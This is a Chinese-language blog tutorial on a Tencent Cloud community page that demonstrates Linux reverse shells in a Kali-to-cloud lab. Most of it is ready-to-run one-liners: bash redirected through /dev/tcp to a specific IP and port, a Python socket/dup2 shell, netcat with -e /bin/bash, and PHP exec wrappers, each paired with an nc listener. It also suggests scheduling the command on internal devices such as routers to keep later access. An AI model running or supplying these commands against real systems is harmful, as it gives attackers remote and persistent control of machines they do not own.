前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Linux下反弹Shell方法

Linux下反弹Shell方法

作者头像
逍遥子大表哥
发布2022-04-17 11:30:31
2.1K0
发布2022-04-17 11:30:31
举报
文章被收录于专栏:kali blogkali blog

在日常工作中,我们需要得到目标系统的shell。在局域网相对简单,而不在同一局域网或者是异地网络。那么如何让目标直接互通执行相关shell命令呢?通过本文我们一起来看看Linux如何反弹shell。

实验环境

kali Linux (内外:192.168.5.139

Centos8 (腾讯云:123.6.44.67)

姿势一 bash反弹

首先,使用nc在外网主机上监听端口:

代码语言:javascript
复制
nc -lvp 9090

注意:一定是外网设置执行,因为两个设备不在同一网段。外网不能直达内网,但内网可以到达外网。

然后,在kali/内网执行下面命令

代码语言:javascript
复制
bash -i >& /dev/tcp/123.6.44.67/9090 0>&1

命令解读

inux shell下有三种标准的文件描述符,分别如下:

0 - stdin 代表标准输入,使用<<<

1 - stdout 代表标准输出,使用>>>

2 - stderr 代表标准错误输出,使用2>2>>

还有就是>&这个符号的含义,最好的理解是这样的:

>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。

>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

理解了上面这些知识,下面来解释一下这一条反弹shell的命令,

bash -i代表在本地打开一个交互式bash,

/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,

>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们在目标机输入命令,输出以及错误输出的内容就会被传递显示到远程。

可以看到,我们在腾讯云主机登录到了内网设备。

利用这种方法,我们可以在内网设备,如路由器等,设置脚本让其在指定的时间执行此命令。方便后期的登录。

姿势二 Python反弹

反弹shell命令如下:

代码语言:javascript
复制
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

还是一样,我们在Centos中执行命令

代码语言:javascript
复制
nc -lvp 9090

在kali中执行命令

代码语言:javascript
复制
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('123.6.44.67',9090));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

同样,也可以得到对应目标的反弹shell

原理分析

使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno()fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符

姿势三 nc反弹

使用nc反弹shell,需要的条件是被反弹shell的机器安装了nc

在Centos上使用nc监听端口:

代码语言:javascript
复制
nc -lvp 9090

在目标机上使用nc去反向连接,命令如下:

代码语言:javascript
复制
nc 123.6.44.67 9090 -e /bin/bash

这里的-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程,可以看到远程已经成功反弹到了shell,并且可以执行命令。

姿势四 php反弹

使用php反弹shell,方法如下 。

首先最简单的一个办法,就是使用php的exec函数执行方法1反弹shell的命令:

代码语言:javascript
复制
php -r 'exec("/bin/bash -i >& /dev/tcp/123.6.44.67 9090");'
php -r 'exec("/bin/bash -i >& /dev/tcp/123.6.44.67 9090 0>&1");'

但是现在很多服务器都禁用了php的相关函数。所以这里不再重点说明。


版权属于:逍遥子大表哥

本文链接:https://cloud.tencent.com/developer/article/1983278

按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 实验环境
  • 姿势一 bash反弹
  • 姿势二 Python反弹
  • 姿势三 nc反弹
  • 姿势四 php反弹
相关产品与服务
云服务器
云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档